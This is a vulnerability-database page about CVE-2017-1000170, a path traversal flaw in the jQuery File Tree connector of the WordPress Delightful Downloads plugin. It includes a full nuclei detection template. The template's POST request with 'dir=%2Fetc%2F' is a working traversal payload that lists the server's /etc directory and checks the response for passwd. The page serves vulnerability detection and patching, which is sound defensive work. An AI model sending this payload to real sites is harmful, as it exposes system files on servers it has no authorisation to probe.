HexBrain

Browse / CVEs / CVE-2017-1000170

CVE-2017-1000170· jqueryfiletree project / jqueryfiletree· CWE-22

WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion

highseverity
7.5CVSS score
59.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress Delightful Downloads Jquery File Tree versions 2.1.5 and older are susceptible to local file inclusion vulnerabilities via jqueryFileTree.

Impact

Allows an attacker to include arbitrary local files, potentially leading to unauthorized access or code execution.

Fix

Update to the latest version of Delightful Downloads plugin or apply the patch provided by the vendor.

How to confirm it

Send: POST {{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php
Positive when: contains "<li class='file ext_passwd'>" and "<a rel='/passwd'>passwd</a></li>" AND status 200

Run it with nuclei: nuclei -id CVE-2017-1000170 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-1000170

info:
  name: WordPress Delightful Downloads Jquery File Tree 2.1.5 - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: WordPress Delightful Downloads Jquery File Tree versions 2.1.5 and older are susceptible to local file inclusion vulnerabilities via jqueryFileTree.
  impact: |
    Allows an attacker to include arbitrary local files, potentially leading to unauthorized access or code execution.
  remediation: |
    Update to the latest version of Delightful Downloads plugin or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/49693
    - https://github.com/jqueryfiletree/jqueryfiletree/issues/66
    - http://packetstormsecurity.com/files/161900/WordPress-Delightful-Downloads-Jquery-File-Tree-1.6.6-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000170
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-1000170
    cwe-id: CWE-22
    epss-score: 0.59063
    epss-percentile: 0.99121
    cpe: cpe:2.3:a:jqueryfiletree_project:jqueryfiletree:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jqueryfiletree_project
    product: jqueryfiletree
  tags: cve2017,cve,wordpress,wp-plugin,lfi,jquery,edb,packetstorm,jqueryfiletree_project,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"

    body: "dir=%2Fetc%2F&onlyFiles=true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<li class='file ext_passwd'>"
          - "<a rel='/passwd'>passwd</a></li>"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from